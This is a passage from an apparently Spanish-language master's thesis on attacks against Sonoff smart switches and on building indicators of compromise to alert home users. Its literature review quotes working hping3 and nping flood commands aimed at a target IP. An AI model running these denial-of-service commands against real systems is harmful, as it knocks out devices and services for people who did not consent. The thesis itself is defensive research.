e Inundacion ICMP: Aprovecha los dispositivos de red mal configurados mediante el envio
de paquetes falsificados que hacen ping a cada computadora en la red de destino, en lugar
de solo una maquina especifica. La red se activa para amplificar el trafico. Este ataque
también se conoce como el ataque de los pitufos o ping de la muerte.

e Inundacion SYN: Envia una solicitud para conectarse a un servidor, pero nunca completa
el protocolo de conexion si no que crea interminables peticiones de conexidn. Continua
hasta que todos los puertos abiertos estén saturados de solicitudes y ninguno esté
disponible para que los usuarios legitimos se conecten. Este tipo de inundacion fue la

realizada en la investigacidn.

Ataque por desautenticacion o deauthentication attack

La desautenticacidon es una técnica utilizada por hackers y profesionales de ciberseguridad para
alterar o deshabilitar las conexiones inaldmbricas en una red. El objetivo final del ataque es eliminar

a los usuarios de una red y evitar conexiones adicionales, dejando el punto de acceso inutilizable.
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Un ataque de desautenticacion puede describirse como un ataque DDoS (Denegacién de servicio
distribuida). Las nuevas redes inalambricas y los dispositivos habilitados para Internet han
cambiado el panorama de los ataques de desautorizacion. Se han desarrollado mas métodos y

aplicaciones de desautorizacidn, pero el principio basico sigue siendo el mismo.

El ataque comienza con la identificacidn de las direcciones MAC de los usuarios conectados en las
redes inaldmbricas. El protocolo Wi-Fi esta disefado para manejar tramas de autenticacion, estas
son instrucciones formales para desconectar un dispositivo o estacion de la red. El atacante falsifica
su direccion MAC con las direcciones MAC del objetivo y envia un marco de desautorizacion al
punto de acceso. El punto de acceso lee el marco de desautenticacién y desconecta al usuario
objetivo. Esto puede ser instantaneo y automatizado. Por ejemplo, un atacante podria desconectar
a todos los usuarios de una red cercana y evitar que se conecten nuevos usuarios.
Alternativamente, un atacante podria configurar su software de desautorizacion para deshabilitar

todas las redes dentro del alcance del dispositivo [25].

1.2 Estado del arte

Con la investigacion realizada se evidencié que existe muy poco material sobre los dispositivos
smart switch/plug y de sus indicadores de compromiso. Tras buscar en muchas fuentes académicas
y sitios confiables no se pudo encontrar otro proyecto que propusiera un sistema de alertas en
dispositivos |oT en el hogar y mucho menos en smart switch/plug. Se concluye que esta
investigacion tiene un factor innovador en el aspecto de preocuparse por el usuario final y querer
avisarle sobre el estado de su dispositivo inteligente. Un objetivo del actual trabajo consiste en
probar ataques informaticos en los dispositivos Smart switch/plug, por lo tanto, lo primero en
investigar fue identificar ¢ Qué ataques existen para los dispositivos loT en la actualidad? Toda vez

informacidn especifica en los smart switch en loT no es comun de encontrar.
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Existen varias categorias de ataques informaticos en los dispositivos |oT [26], Entre ellas se pueden
encontrar ataques fisicos, los que se explotan dentro del proceso de acceso, y los ataques de tipo
l6gico a nivel de red, software y de cifrado. Estos ultimos tienen la posibilidad de ejecutarse o bien
de forma local o remota, creando vectores de ataques mas simples de ejecutar. Asi mismo, los
dispositivos loT presentan una serie de ataques que pueden ser explotados acorde a las categorias
(27 ataques encontrados), lo que supone una amplia gama de riesgos informaticos que los

atacantes pueden tener.

Figura 10: Clasificacién de ataques loT
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Fuente: Security attacks in 1oT: A survey [26]

Esta investigacion detalla los diferentes métodos de ataques informaticos hacia los dispositivos loT
(Figura 10), pero en un nivel muy general. Con esta investigacién en desarrollo se planea analizar

los ataques que sean especificamente compatibles con el dispositivo smart switch/plug para loT.
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En la investigacion titulada “A Denial of Service Attack Method for an loT System” cuatro
investigadores chinos proponen diferentes métodos de ataque para causar una denegacion de
servicio a un sistema loT. Los investigadores lanzan tres diferentes ataques de denegacion de
servicio mediante la utilizacidn del sistema operativo Kali Linux. Mediante mediciones graficas los
investigadores calculan el tiempo de respuesta antes del ataque al dispositivo 10T y durante el
ataque para evidenciar la denegacidn de servicio, los tres ataques utilizados fueron los siguientes

[27]:

e Ataque DoS mediante Hping3: En este método el atacante envia 10000 paquetes de 1200
bytes cada uno, con un comando de cambio de IP aleatorio y Windows size de 64
“hping3—c 10000 —d 1200 —-S—w 64 —p 6633 —flood —rand-source targetIP”.

e Ataque DoS mediante Hping3 con SYN: En este método se utilizan varias banderas en la
modificacién de los paquetes TCP, se utilizan SYN, PUSH y URG en cada uno de los paquetes
enviados
“hping3 —S—P-U—flood —V—-rand-source targetIP”.

e Ataque DoS con nping: En este ultimo método se envian 900000 peticiones al dispositivo
victima, se envian peticiones TCP y se configura asi

“nping —tcp-connect —rate=90000 —c 9000000 —q targetIP”.

Evaluando la efectividad se concluyd que el método mas efectivo de ataque fue el primero, toda
vez caus6 una pérdida del 90% de los paquetes enviados y recibidos por la victima. El segundo
método fue el menos efectivo con 19% de perdida y el tercer método tuvo 28% de perdida en la

victima [27].

Por otro lado, en una investigacidn enfocada a la denegacion de servicio en dispositivos loT “A Tool
for Denial of Service Attack Testing in loT” en la cual se utilizan ataques diferentes a los vistos en la
investigacion anterior. En esta investigacion los autores crearon una herramienta de ataque
utilizando el lenguaje de programacion de Cy C ++, los ataques utilizados fueron: Sleep deprivation
Attack, MQTT flooding Attack, y Radio frequency interference y fueron lanzados contra un sensor

loT [28].
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El ataque de Sleep deprivation tiene como objetivo interferir en los sensores del dispositivo loT por
la razén de que en muchas ocasiones los sensores son alimentados por baterias, entonces existe
una posibilidad de agotar estas baterias para que los sensores dejen de funcionar. Con la
herramienta que se desarrolld se pudo simular que el atacante es un servidor que tiene permiso
para activar los sensores. Cuando se lanzé el ataque, se enviaran grandes cantidades de requisitos
a los sensores causando que la vida util de los sensores se reducird después del ataque. El ataque
de interferencia por radio frecuencia se logra en una red loT de sensores con dispositivos
interconectados por radiofrecuencia, grandes cantidades de mensajes de radio pueden bloquear
facilmente la red porque todos los nodos recibiran el mensaje una vez sea atacada. La herramienta
disefada logra enviar un mensaje de radio con un tamafio y una frecuencia personalizada que logra

interferir en los dispositivos de la red.

Por ultimo, el MQTT flooding Attack, es un ataque dirigido al protocolo MQTT y apunta a consumir
el recurso de un bréker (servicio de comunicacion a internet) para que no funcione y poder
administrar los recursos de publicacién y suscripcion de comunicacidon. La herramienta esta
disefiada para crear numeros personalizados de atacantes. Cada atacante seguird publicando un
mensaje de comunicacién con una carga util personalizada (payload) y todos publican al mismo
tiempo [28]. La desventaja de esta investigacidn es que los autores no publicaron la herramienta
realizada, pero ellos dejaron los resultados de los ataques y con esta informacién se puede
investigar en otras fuentes sobre como lanzar estos tipos de ataques y probarlos en el smart

switch/plug.

Toda vez el Sonoff smart switch utiliza un chip para la conexion wifi llamado ESP8266, se investigd
sobre posibles ataques hacia este. En el portal de GitHub se reporté sobre una vulnerabilidad
descubierta hacia este chip el cual lo vuelve blanco de un ataque llamado “Krack Attack” [29]. Lo
que implica este ataque es que el ciber delincuente puede “interceptar y leer el trafico que envia
un dispositivo e incluso manipular este trafico. Es decir, que ademas de violar completamente la
privacidad, puede realizar otros ataques, como insertar cédigos maliciosos, manipular los DNS o
utilizar otras técnicas combinadas con ataques de Man In The Middle [30]. Toda vez el Sonoff utiliza
el protocolo de Wifi “WPA2-PSK” esto lo deja vulnerable para todos los ataques existentes en este,
como por ejemplo: eavesdropping (sniffing), ataque de fuerza bruta con diccionario,

envenenamiento de ARP, krack Attack, crackeo de contrasefias.
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El siguiente paso fue buscar alguna investigacion orientada a los indicadores de compromiso (loC)
los cuales son los que nos van a decir si el sistema corre peligro o no. La investigacion que mas se
acercaba a estos indicadores es de hace varios afios, se llama “An Analytics Framework to Detect
Compromised loT Devices using Mobility” [31]. El autor propone un framework analitico donde se
especifican unos indicadores de red los cuales son aplicados en los dispositivos loT. El autor
también propone la utilizacion de un protocolo llamado “CoAP” el cual es mas liviano que el http,
para el envio del trafico. El trafico se envia a un servidor de analisis y el servidor informa si ha
detectado actividad inusual. Este servidor de analisis detecta si hay cambios en el comportamiento
de enviod de paquetes del dispositivo 10T, luego analiza los indicadores de compromiso ya subidos

a este y alerta al usuario sobre el sistema comprometido.

Este es un documento del 2013, se deberia profundizar mas sobre el protocolo CoAP del cual el
autor habla, lo negativo es que todo es a nivel tedrico, es un framework para aplicar, lo cual genera
muchas preguntas por resolver sobre todo acerca de cdmo ejecutar y cargar los indicadores de
compromiso y sobre ¢qué tecnologia tendria que ser el servidor de andlisis? Esta investigacidon nos
genera varias ideas para la implementacion de la arquitectura actual, con esta arquitectura se
crearan los indicadores de compromiso y se explicara a detalle sobre écomo se hicieron estos

indicadores?

Otra investigacién encontrada que trabaja con los loC la cual también es un framework, es una
investigacion que si tiene un desarrollo y una metodologia de implementacidn, se llama “Dridex:
Analysis of the traffic and automatic generation of I0Cs” [32]. Basicamente traduce a “Andlisis de

trafico y automatizacion y generacion de Indicadores de compromiso”.

Este framework habla de recibir un trafico entrante (el virus dridex) y lo que entrega son los
indicadores de compromiso de la red. Un indicador de compromiso es una informacidon que puede
usarse para identificar un sistema potencialmente comprometido. Podria incluir sospechosas
direcciones IP, nombres de dominio, direcciones de correo electrénico, hashes de archivos, etc. Los
indicadores de compromiso son analizados utilizando el software STIX, es un lenguaje que permite
que la informacién sobre amenazas sea facilmente almacenada, analizada y compartida de manera
consistente. Aparte de Stix, también nos revela otras herramientas para la creacién de indicadores

de compromiso como: openlOC, CybOX, Cyber threat intelligence (CTl), IOC_Creator, IOCAware.
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En esta investigacion los autores crearon 7 tipos de indicadores de compromiso, todos orientados
alared, y son: Indicador de tipo ICMP, TCP, UDP, HTTP, DNS, FTP, SSH. Toda vez el virus que ellos
investigaban afectaba servicios y protocolos especificos que se debian vigilar con los indicadores
creados. La desventaja de esta investigacion es que toda fue orientada hacia el virus “Dridex”, por
lo tanto, los mismos métodos de creacion de indicadores tendrian que ser creados para loC, en lo
positivo esta investigacion nos aporta mucho para el desarrollo de la metodologia de este trabajo

actual toda vez habla especificamente de software para utilizar.

Por dltimo, se encontrdé una investigacién enfocada en los indicadores de compromiso. Este
documento propone un método de cuantificar la cantidad de indicadores de compromiso cuando
se tienen muchos ataques. El método propuesto clasifica el indicador de compromiso con un
algoritmo para saber cudl tiene mas prioridad que el otro, la investigacion se llama “Method of

Quantification of Cyber Threat based on Indicator of Compromise” [33]

Este documento es claro en que identifica los puntos que se tienen en cuenta para hacer los

indicadores de compromiso:

e Verificar el origen del indicador de compromiso

e Verificar la hora del indicador de compromiso

e Verificar las bases de datos de blacklist

e Verificar el cambio constante en los servicios del dns

e Verificar las direcciones URL

e Verificar el cédigo malicioso detectado

e Verificar si el mismo dominio es un distribuidor constante de amenazas

e Verificar la alteracion histérica en la web [33]

Con estos indicadores el algoritmo de este articulo clasifica el indicador segun el item que tenga. A
pesar de la descripcidn, el articulo no es especifico en decir qué software se utilizaron y tampoco

cémo.

En consecuencia al proceso de atencion de incidentes, la empresa consultora [34] establece varios
procesos para el ciber riesgo y para la Automatizacion de Procesos Robéticos (RPA), dentro de las

propuestas indica la necesidad de contar con un proceso de monitoreo y gestién de alertas para la
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supervision de eventos de seguridad, lo que constituye un marco de gestion mas alld de los
elementos tradicionales, lo que fortalece la estructura de seguridad que puede ser aplicada en loT

u otra tecnologia.

Adicional a esto, se encontré una investigacion enfocada en el anadlisis de indicadores de
compromiso para los ransomware con la utilizacién de técnicas de aprendizaje de maquina. En esta
investigacion los autores recolectaron un total de 848 muestras de ransomware y los emularon en
un entorno controlado donde se afectaba un computador de estudio, se llama “Analysing Indicator

of Compromises for Ransomware: Leveraging IOCs with Machine Learning Techniques” [35] .

Mediante la implementacidon de Cuckoo sandbox (un ambiente virtual de pruebas seguras y
vigiladas) los investigadores de este trabajo pudieron encontrar 45 tipos de indicadores de
compromiso relacionados con los ransomware. De estos 45 tipos de indicadores de compromiso
se clasificaron 11 de ellos como los mas criticos, algunos ejemplos de la clasificacién se indican a

continuacion:

e Indicadores de compromiso en la red: ¢El ransomware hace peticiones http? ¢Hace
peticiones al DNS?

e Indicadores de compromiso en el sistema: ¢Cambiaron las opciones de arranque del
sistema? ¢Se deshabilitan las herramientas para la recuperacién ante fallas? ¢El firewall se
desactivo? ¢El antivirus sigue activo?

e Indicadores de compromiso estaticos: Revisar si algin software se actualizd, revisar
descargar recientes, revisas las firmas en los procesos activos, revisar si se importaron
librerias nuevas en el sistema.

e Indicadores de compromiso de comportamiento: Intento de deteccién de ambiente
virtualizado, actividad recurrente en el sistema, directorio de temporales, edicion y
creacion de nuevas llaves de registro, creacion de archivos ocultos, eliminacion de archivos

originales en el disco, hace procesos de encriptacidn a los archivos del sistema operativo.

Estos comportamientos se evidencian con el malware ransomware identificados por los
investigadores. Con esta metodologia de clasificacion del indicador de compromiso se entiende

mejor como el sistema se ve afectado y qué tipo de consecuencias se sufren al ser infectado [35].
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Esta ultima investigacion clasifica muy bien los dafios que puede causar los virus en los sistemas

actuales a través de diversos indicadores de compromiso. Pero no nos dice si son compatibles con

loT, para el trabajo actual se deben analizar estos indicadores y verificar si aplican o no para el

smart switch/plug.

Esta investigacion no solo ayudara a mejorar la seguridad en los dispositivos smart switch/plug,

sino también a otros dispositivos loT que utilicen el chip de conexién a wifi ESP8266.

Una manera de entender mas claramente los articulos expuestos se muestra en un grafico

ilustrativo para comprender mejor los pros y los contras de las investigaciones (Figura 11):

Figura 11: Cuadro comparativo investigaciones expuestas

TEMA

REFERENCIA

N\

PROPUESTA

-

-

LIMITANTES

Kunugi, Y, Suzuki, H., & Koyama, A (2020).

loT Security Viewer System Using Machine |

Leamning (Mol 2)

Realizar un sistema de alertas sobre
ataques DDoS en redes loT basado en
machine leamning. Propuesta clave para la
investigacion presente.

Solo se enfocaron en ataques de DDoS. La
alerta solo se ve en el sofiware, sila
persona no observa el software no se entera
de la alerta.

Deogirikar, J , & Vidhate, A (2017) Security
attacks inloT. A survey Proceedings of the
International Conference on loT in Social.

Detalla los diferentes ataques conocidos en
loT, se clasifican segun el tipo de ataque.

[|Excelente clasificacion de los diferentes

sectores de ataque en la industria loT.

Solo es una descripcion general de todos
los atagues de iot, no entra en detalle sobre
como hacerlos.

Lulu Liang, Kai Zheng, Qiankun Sheng, X. H.
(2016). A Denial of Service Attack Method
for an loT System.

Muestra tres diferentes ataques realizados al
un dispositivo loT. Articulo clave para
profundizar en los ataques a dispositivos
loT.

Los tres ataques son de denegacion de
servicio, no se alerta y no se le dice al
usuario como actuar.

Rudman, L., & Inwin, B. (2016). Dridex:
IAnalysis of the traffic and automatic
generation of I0Cs. 2016 Information
Security for South Africa

Analiza el ransomware Dridex y realiza los
indicadores de compromiso de este.
Con esta investigacion se aprende a
construir indicadores de compromiso

Mo detalla las técnicas y los software
utilizados para extraer los indicadores de
COMpromiso.

(2018) Procesos, A. De, Rpa, R., &
Cibemético, R. P. A_ (nd.). Riesgo
cibemético y RPA.

Este documento describe pasos para
atender un incidente de seguridad.
Documento guia para estructurar la
documentacion del usuario.

Son unos pasos a nivel general, no se
centraliza mucho en un problema de
ciberseguridad especifico.

\

\

Fuente: Autor

Con la recoleccion del material se pudo observar varios ataques informaticos, la clasificacion de

ellos, la generacién de indicadores de compromiso, sistemas de defensa, por ultimo, nos debemos

preguntar sobre nuestro objetivo de estudio:

¢Coémo puede el usuario final enterarse de qué sus dispositivos Smart switch/plug se encuentran

en peligro de ser vulnerados por un atacante cibernético?
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2. Metodologia y Resultados

El éxito de la propuesta radica toda en la ejecucion de sus objetivos. Primero se deben identificar

los ataques informaticos que apliquen a nuestro dispositivo, segundo es realizar los indicadores de

compromiso o citarlos si ya existen, tercera sera disefiar e implementar la arquitectura de alertas,

nuestro cuarto objetivo es crear una documentacidn sobre el manejo de incidentes para el usuario

final, y por ultimo se hara la validacidn final de todo el modelo planteado.

Para lograr los objetivos propuestos en esta tesis de maestria, la metodologia se dividié en 5 fases

(Figura 12)

Figura 12: Metodologia propuesta para cumplir con los objetivos planteados.

Ataques Informaticos

Investigacién
dispositivo Sonoff
smart swiich

Bulsqueda de ataques

informaticos para loT

Tabla comparativa con
los ataques

Indicadores de
Compromiso

Busqueda indicadores.
-de compromiso loT

Realizar indicadores de
COompromiso no
encontrados

Clasificar los
indicadores de
compromiso hallados

Disefio e
implementacion
arquitectura

Bulsqueda software de
monitoreo de red

Tabla comparativa con
los software de
monitoreo de red

Instalacion y
configuracién software
de monitoreo en la red

Creacion de reglas
para deteccion de
ataques informaticos

Fuente: Autor

Creacion
documentacién

Investigar sobre
manejo incidentes de
seguridad

Creacion documento
para el manejo de los
incidentes de
seguridad

Validacion final

Atacar el smart switch
para probar el
monitoreo

Revisién correos de
alerta

Cada fase corresponde a uno de los objetivos especificos de la investigacion, al cumplir las cinco

fases se completa el objetivo general de la investigacidn. En este capitulo de la investigacion se

explica sobre cdmo se realizé cada fase y se muestra el resultado obtenido.

2.1 Fasel
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La primera fase de la investigacion tiene varios objetivos con el fin de contribuir a la realizacion del
objetivo principal del trabajo presente. En esta fase se eligio el dispositivo loT utilizado para hacer
los ataques informdticos y posteriormente lanzar las alertas del ataque hacia este, adicional, en
esta misma fase se eligieron los ataques informaticos que se utilizaron para la realizacion de la

investigacion.

2.1.1 Seleccidn del dispositivo loT

Estudiando el mercado de los smart switch/plug se encontré que uno de los dispositivos mas
asequibles y econdmicos de este mercado es el Sonoff smart switch basic, se puede encontrar entre
6 a 9 USD. Este switch (Figura 14) es configurable con el dispositivo consola de Amazon Alexa el
cual permite una administracién total de un hogar inteligente por medio de la voz. Sin embargo,
también es configurable sin esta consola, el switch se encuentra a la venta en la mayoria de las

tiendas virtuales como, por ejemplo: amazon, ebay, aliexpress, y mercadolibre.

Haciendo una busqueda de mercado se encuentra con una marca de switches inteligentes
colombiana, encontrada en la pagina https://www.smart-life.com.co. Esta empresa aparece en los
registros de mercado desde el 2020, es una empresa nueva y no se cuenta con suficientes datos
confiables como para comprar y utilizar sus productos, su producto es un tomacorriente wifi
inteligente. Otro producto encontrado en el mercado es un plug de Amazon, el inconveniente es
que se debe pedir importado y es mucho mas costoso. El sonoff Smart switch ya se encuentra en
el mercado colombiano, es muy popular en las bisquedas de Google y el proveedor lleva varios

afios en el mercado global (Figura 13: Comparacion Smart switchesFigura 13).
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Figura 13: Comparacién Smart switches

amazon smart plug
~—
Add voice control toany outlat
L
Lo ]
L}
“—— =
| 1 5
a G ®
Amazon smart plug Toma Corriente Sonoff Smart
Wifi inteligente Switch
- Cuesta 166% + que - No es una marca popular - Primero en blsquedas de
el Sonoff - Empresa Colombiana nueva Google relacionadas a Smart
- Cumplen con las en el mercado, empezaron en Switch 1oT en Colombia
mismas funciones el 2020 - Se encuentra en la mayoria
- Se debe importar - Cuesta 28% mas que el de plataformas de ventas
Sonoff online
- El mas econdmico del
mercado

Fuente: Autor

Figura 14: Dispositivo Sonoff smart switch basic

Fuente: Amazon.com [36]
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Al verificar los precios y lo facil que es instalar un dispositivo de estos se procedié a adquirir uno
por la web de Amazon. Una vez se obtuvo el dispositivo, se continua con destapar la cobertura del

dispositivo para verificar que tipo de chip utilizaba, se encontré lo siguiente (Figura 15):

Figura 15: Dispositivo Sonoff smart switch basic fisico

— OhREFE =

Wi-Fi: |EEE 802.11 blg/n

Input : AC 90-250V 50/60Hz
Maxload - 104

Fuente: Autor

Figura 16: Chip ESP8266
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Fuente: Autor

La tecnologia que utiliza el Sonoff smart switch para conectarse a la red 10T es un chip (Figura 16)
de la familia ESP 8266, este chip es muy vendido para los dispositivos 10T toda vez es muy liviano,

pequefio y presta los servicios de conectividad wifi con el protocolo Wi-Fi 2.4GHz 802.11 b/g/n [10].

La empresa fabricante de estos chips, Espressif, reporté en el 2018 que ya habia vendido mas de

100 millones de ejemplares, gracias a sus precios bajos y tecnologia de punta [37].

Antes de empezar con los ataques hacia el dispositivo primero se identificé los puertos légicos de
este para verificar cudl de ellos podia ser el puerto de ataque. Gracias a la herramienta de “nmap”

se escanearon todos los puertos TCP del dispositivo y se encontré lo siguiente [38]:
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Figura 17: Escaneo de puertos con nmap

:~# nmap -sS -sU -p0-65535 192.168.0.13
Starting Nmap 7.70 ( https://nmap.org ) at 2020-84-23 15:17
Nmap scan report for 192.168.0.13
Host is up (0.015s latency).

Not shown: 131870 closed ports

PORT STATE SERVICE

80/tcp open http

58100/udp open|filtered unknown

MAC Address: 5C:CF:7F:A7:A1:EE (Espressif)

Fuente: Autor

Nmap ("Network Mapper") es una utilidad gratuita y de cddigo abierto utilizada para el
descubrimiento de redes y la auditoria de seguridad. Muchos administradores de sistemas y redes
también lo encuentran atil para tareas como el inventario de la red, actualizacién de servicios y la
supervision del tiempo de actividad del host o del servicio. Nmap utiliza paquetes IP sin procesar
de formas novedosas para determinar qué hosts estan disponibles en la red, qué servicios (nombre
y versién de la aplicacidn) ofrecen, qué sistemas operativos (y versiones de SO) estan ejecutando,

qué tipo de paquetes de filtros / firewalls estan en uso, y docenas de otras caracteristicas.

Con el comando “nmap -sS -sU -p0-65535 192.168.0.13”(Figura 17), se le indica a nmap que haga
un escaneo del dispositivo smart switch cuya IP en este caso es la 192.168.0.13. El pardmetro “-sS”
indica que se utilizaran paquetes de tipo SYN durante el escaneo, “-sU” indica el escaneo hacia los
puertos UDP y el “-p0-65535” indica la revisidn de todos los puertos logicos del dispositivo. Gracias
a nmap se encontrd que el dispositivo tiene 2 puertos abiertos, el puerto 80 y el 58100, a través
del puerto 80 se enfocaran nuestros ataques de red. También se aprendid que la direccidn fisica

del dispositivo o direccion MAC es la 5c:c7:7f:a7:al:ee.
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2.1.2 Identificacion de ataques informaticos asociados a los
Smart switch

En el planteamiento de objetivos se definié el primero de ellos como la identificacién de ataques
mas relevantes presentados en las redes loT que puedan afectar a los smart switch. Pero ¢{Qué
significa relevante para un ataque dirigido a un smart switch?

Segun la RAE, “relevante” significa sobresaliente, destacado [39]. De acuerdo con la norma ISO
27001- 2013 se definen tres pilares fundamentales para la seguridad de la informacion:
Integridad: propiedad que asegura que la informacion no es alterada sin autorizacion en su
trasporte, procesamiento o almacenamiento.

Disponibilidad: propiedad que asegura que los activos de la informacion estan disponibles para
personal autorizado en su uso y demanda.

Confidencialidad: propiedad que asegura que la informacion es accedida solamente por personal
o entidad autorizada.

El dispositivo smart switch/plug tiene tecnologia muy liviana que no almacena datos de los
usuarios, la informaciéon que contiene es Unicamente cddigo fuente para operar y debe estar

siempre conectado a la red inaldmbrica para funcionar.

Por consiguiente, debemos verificar cudl de los pilares es “relevante” para el dispositivo. Los smart
switch actuales no manejan informacion significante de la cual nos debamos preocupar, estos
dispositivos no contienen informacién del usuario, por lo tanto, el pilar de la integridad no es
relevante en este caso. No es necesario velar por la Confidencialidad en estos dispositivos puesto
que los usuarios nunca van a acceder a la informacion que haya en este simplemente porque no
tiene. Por ultimo, la disponibilidad si es muy critica en estos dispositivos toda vez ellos deben estar
en funcionamiento las 24 horas por siete dias a la semana. El usuario puede necesitar su dispositivo
loT en cualquier momento del dia y si este dispositivo falla en su disponibilidad entonces se tiene

un problema critico en su funcionamiento.

Teniendo en cuenta lo anterior, para nuestra investigacion se va a considerar como relevantes a
todos los ataques informaticos que se presenten en las redes iot asociados con los smart

switch/plug que afecten la disponibilidad del dispositivo.
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En la investigacién [26] se categorizan los ataques de loT en cuatro tipos:

e Ataques Fisicos

e Ataques de red

e Ataques de software

e Ataques de encriptacidn

Habiendo definido como pilar principal la disponibilidad en el dispositivo, se extrajeron de este

reporte los ataques que afectan dicha disponibilidad en el servicio al dispositivo de investigacion.

En la categoria de los ataques de red se encontré que el ataque de hombre en el medio, el ataque

de denegacidn de servicio y el node jamming también conocido como deauthentication attack son

los que afectan la disponibilidad del servicio.

El smart switch al ser un dispositivo que trabaja con el protocolo 802.11n presenta una direccion

MAC y direccion IP como se definen en el modelo OSI en su segunda y tercera capa. Toda vez es un

dispositivo ligero y sin mayor seguridad/funciones no contiene configuracién por parte del usuario,

pero si contiene conectividad a nivel de capa dos. Investigando los ataques mas comunes en capa

dos encontramos el ataque por Mac spoofing el cual nos puede dejar sin disponibilidad e igual con

el IP spoofing [40].

Tabla 2: Ataques y contramedidas en el modelo OSI

Attacks

Characteristics

Countermeasures

Physical layer
attacks

Eavesdropping
attack [14]

Confidential data packets interception.

Cryptographic techniques.

Jamming attack [15]

Legitimate data transmission interruption.

Spread spectrum techniques
such as FHSS, DSSS and THSS.

MAC layer attacks

MAC spoofing [16]

MAC addresses falsification.

Use of ARP packets.
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MITM attack [17]

Communicating nodes impersonation.

Use of Virtual Private
Networks (VPNs). [25], [26].

Network injection
[18]

Preventing networking devices operation.

Reprogramming of network
devices.

Network layer
attacks

IP hijacking [19]

Legitimate users IP address impersonation.

Firewalls [27], [30].

IP spoofing [20]

IP address falsification.

Firewalls [28].

Smurf attack [21]

Sending overwhelming number of ICMP
requests.

Routers and individual users
are configured not to
constantly respond to ICMP
requests.

Transport layer
attacks

TCP flood [22]

Sending overwhelming number of ping
requests.

Increasing the TCP backlog and
reducing the SYN timer.

UDP flood [23]

Sending overwhelming number of UDP
packets.

Reducing the UDP packets
response rate.

Application layer
attacks

Malware attack [24]

Disrupt or intercept the legitimate
confidential data.

Firewalls and anti viruses.

SQL injection [29]

Gaining unauthorized access to several
websites.

Firewalls and anti viruses.

SMTP attack [31],
[32]

Email spoofing and password sniffing.

Firewalls and anti viruses.

Fuente: Security vulnerabilities, attacks and countermeasures in wireless sensor networks at

various layers of OSI reference model: A Survey [40]

Los ataques informaticos (Tabla 2) que aplican al dispositivo que son mas relevantes es el mac

spoofing y el IP spoofing toda vez los otros no aplican o son directamente un DOS (denegacién de

servicio), en vista de que estos dos ataques se ven combinados en un ARP spoofing o también

envenenamiento del ARP significa que se trabajard con spoofing del ARP. El ataque de

eavesdropping si puede funcionar contra un smart switch pero no es relevante para la investigaciéon

toda vez no afecta la disponibilidad del dispositivo, el jamming Attack ya se eligié anteriormente.

En los ataques de la capa MAC se eligié al mac spoofing, el MITM ya estaba elegido, una network

injection es un ejemplo claro de DOS. En la capa de red se registra el IP Spoofing toda vez este

afecta la disponibilidad del dispositivo, el ataque smurf es otra muestra de DOS, en la capa de

transporte todos son ejemplos claros de ataques DOS. Finalmente, en ataques de la capa de
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aplicacion el malware Attack no afecta toda vez el dispositivo puesto que no tiene software

corriendo, SQL injection no aplica y el ataque SMTP tampoco toda vez no se trabajé con correos

del dispositivo. Los ataques DOS tienen muchas variantes y es por eso es que no se realizaron todas

las variantes de DOS existentes, solo los necesarios para demostrar la funcionalidad del ataque.

2.1.3 Tabla comparativa con los ataques investigados

Una vez establecidos los ataques informaticos que se utilizaron para la investigacion se procedid a

crear una lista con la informacion importante de cada uno, como, por ejemplo: su nombre, tipo de

ataque, fuente de consulta, la descripcion de este y su efecto. En la siguiente Tabla 3 se describen

los ataques informdticos mas relevantes en los dispositivos Smart switch.

Tabla 3: Ataques informaticos relevantes a los smart switch/plug

Nombre Tipo Fuente Descripcion Efecto
Deauthentication | Fisico | J. Deogirikar and Es un tipo de ataque que | Deshabilitar la
attack A. Vidhate, apuntaala comunicacion wifi con
“Security attacks comunicacién entre el el dispositivo
in loT: A survey,” enrutadory el
dispositivo
Dos Attack by Red J. Deogirikar and Un ataque de Dejar el dispositivo

flooding

A. Vidhate,
“Security attacks

inloT: A survey,”

denegacion de servicio
(DoS) es un ataque
destinado a apagar o
deshabilitar un
dispositivo, haciéndolo
inaccesible para sus

usuarios previstos.

inaccesible para el

usuario
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Man in the middle | Red G. N. Nayak and S. | Es un ataque que Puede impedir el flujo
G. Samaddar, intercepta la correcto de trafico
“Different comunicacion de hacia el dispositivo
Flavours of Man- terceros por ejemplo un
In-The-Middle cliente y su servidor
Attack,
Consequences and
Feasible Solutions"

Arp Poisoning Red Data, Mahendra Falsificar las peticiones Impedir que el trafico

“The Defense
Against ARP
Spoofing Attack
Using Semi-Static
ARP Cache Table”

ARP para engaiiar a los
dispositivos en la red

con la identidad errénea

de un equipo

de red llegue al
dispositvo smart

switch

Fuente: Autor

Con esta lista de ataques elaborada se finalizo el objetivo 1, con base a estos ataques identificados

se hicieron los indicadores de compromiso. Se concluye que los ataques que afectan la

disponibilidad del dispositivo 10T son los de red, toda vez los ataques fisicos implicarian que un

sujeto manipule fisicamente el dispositivo. Como estos ataques de red son los mas comunes, radica

la importancia de un sistema de deteccién en la red local.

2.2 Fase 2

En esta seccidn se realizo el segundo objetivo especifico correspondiente a clasificar los

indicadores de compromiso. Se hizo una busqueda para encontrar indicadores de compromiso

existentes que pudieran aplicar a la investigacidn, pero no se encontraron, por consiguiente se

construyeron los indicadores de compromiso, también se clasificaron los indicadores de acuerdo

al nivel de impacto del ataque.
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2.2.1 Busqueda indicadores de compromiso asociados a los
ataques encontrados

En la investigacidn realizada no se encontraron indicadores de compromiso disponibles para
los ataques identificados en la fase 1 en el dispositivo de interés. Se buscaron en muchos
repositorios tales como www.iocbucket.com, www.threatminer.org, www.fireeye.com,
otx.alienvault.com, www.virustotal.com, owasp.org. El principal factor comun es que estos
sitios ofrecen indicadores de compromiso, pero principalmente para malware, pues los
malware son el software malicioso que mas evidencia dejan en los equipos y los sistemas
operativos. Hay cientos de indicadores de compromisos para los sistemas operativos,
indicadores para malware, indicadores para ransomware, indicadores para sitios

fraudulentos, hasta indicadores para paginas web vulnerables.

Sin embargo, encontrar indicadores de compromiso para los ataques que se presentan en la
red loT no fue posible, se encontraron herramientas que ayudan a crear los indicadores, pero
no funcionaron para el ejercicio presente. Una de las herramientas mas reconocidas para la

creacion y utilizacién de indicadores de compromiso se conoce como YARA.

YARA es una herramienta destinada (pero no limitada) a ayudar a los investigadores de
malware a identificar y clasificar muestras de malware. Con YARA se puede crear
descripciones de familias de malware (trojanos, rootkits, gusanos, entre otros) en base a
patrones textuales o binarios, la herramienta se puede encontrar en
https://virustotal.github.io/yara/. YARA es una herramienta utilizada por empresas como
McAfee, ESET, Alien vault, Virustotal segin lo muestran en su pagina web, pero como se
puede observar la herramienta no es para documentar ataques de red en tiempo real.
Funciona para realizar indicadores de malware, pero para los ataques en la red no es de

mucha utilidad.

2.2.2 Realizar los indicadores de compromiso faltantes
